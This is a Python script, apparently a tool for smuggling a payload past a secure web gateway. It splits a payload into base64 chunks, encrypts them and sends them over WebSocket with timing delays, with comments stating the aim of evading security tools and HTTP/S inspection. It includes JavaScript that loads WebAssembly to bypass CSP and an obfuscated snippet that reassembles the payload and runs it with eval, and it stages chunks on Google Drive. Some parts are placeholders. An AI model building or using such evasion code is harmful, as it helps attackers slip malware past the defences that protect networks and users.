swg-script.py

import base64
import os
import requests
import asyncio
from cryptography.fernet import Fernet
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
import websockets
import json

def split_payload(payload_file_path, part_size=1024):
    """
    Splits the given payload file into small parts and base64-encodes each part
    to avoid detection by security tools.
    """
    with open(payload_file_path, "rb") as f:
        payload = f.read()
    
    parts = []
    for i in range(0, len(payload), part_size):
        part = payload[i:i+part_size]
        # Base64 encode each part to make it look like normal HTTP traffic
        encoded_part = base64.b64encode(part).decode('utf-8')
        parts.append(encoded_part)
    
    return parts

private_key = RSA.generate(2048)
public_key = private_key.publickey()
cipher_rsa = PKCS1_OAEP.new(public_key)

def encrypt_payload_part_rsa(part):
    """
    Encrypt each payload part using RSA encryption for secure transmission.
    """
    encrypted_part = cipher_rsa.encrypt(part.encode('utf-8'))
    return base64.b64encode(encrypted_part).decode('utf-8')

def decrypt_payload_part_rsa(encrypted_part_base64):
    """
    Decrypt the payload part using RSA decryption.
    """
    encrypted_part = base64.b64decode(encrypted_part_base64)
    cipher_rsa_decrypt = PKCS1_OAEP.new(private_key)
    decrypted_part = cipher_rsa_decrypt.decrypt(encrypted_part)
    return decrypted_part.decode('utf-8')

async def send_payload_over_websocket(payload_parts, ws_url):
    """
    Send payload parts over a WebSocket connection to avoid HTTP/S security mechanisms.
    """
    async with websockets.connect(ws_url) as websocket:
        for part in payload_parts:
            payload = {"part": part, "checksum": base64.b64encode(os.urandom(8)).decode('utf-8')}
            await websocket.send(json.dumps(payload))  # Send payload as JSON object
            print(f"Sent part to WebSocket: {part[:50]}...")  # Only show first 50 chars to keep it neat
            await asyncio.sleep(0.5)  # Simulate network delay to evade detection

def load_wasm_module():
    """
    Dynamically loads a WebAssembly module to evade CSP restrictions.
    """
    script = """
    fetch('/path/to/wasm_file.wasm')
        .then(response => response.arrayBuffer())
        .then(bytes => WebAssembly.instantiate(bytes))
        .then(module => {
            module.exports.reassemblePayload();
        })
        .catch(console.error);
    """
    return script

def reassemble_payload_obfuscated():
    """
    Obfuscated JavaScript to reassemble the fragmented payload on the client-side.
    """
    obfuscated_script = """
    (function(){
        var part1 = atob('U29tZSBzYWZlIGZpbGUgcGFydC5oZXJl'); // Example base64 encoded part
        var part2 = atob('U29tZSBkYXRhLg=='); // Another part
        var fullPayload = part1 + part2;
        
        // Reassemble the payload dynamically and execute it
        eval(fullPayload); // Note: Replace with safe payload execution logic
    })();
    """
    return obfuscated_script

def upload_to_cloud_service(payload_part):
    """
    Uploads parts of the payload to a legitimate cloud service (e.g., Google Drive) for further reassembly.
    Simulate uploading with a POST request.
    """
    drive_api_url = "https://www.googleapis.com/upload/drive/v3/files?uploadType=multipart"
    
    response = requests.post(drive_api_url, headers={"Authorization": "Bearer YOUR_ACCESS_TOKEN"}, data=payload_part)
    
    if response.status_code == 200:
        print("Payload part uploaded successfully.")
    else:
        print(f"Failed to upload part: {response.status_code}")

async def execute_payload(payload_file_path, ws_url):
    """
    Simulates the entire process from payload splitting, encryption, uploading to reassembly.
    """
    parts = split_payload(payload_file_path)

    encrypted_parts = [encrypt_payload_part_rsa(part) for part in parts]
    
    await send_payload_over_websocket(encrypted_parts, ws_url)

    wasm_script = load_wasm_module()
    print(f"Executing WebAssembly loading script: {wasm_script}")
    
    obfuscated_script = reassemble_payload_obfuscated()
    print(f"Executing obfuscated JS reassembly script: {obfuscated_script}")
    
    print("Complete process simulated successfully.")

payload_file_path = "path_to_your_payload_file"  # Specify the path to the payload file
ws_url = "wss://your-websocket-server.com"  # Example WebSocket URL
asyncio.run(execute_payload(payload_file_path, ws_url))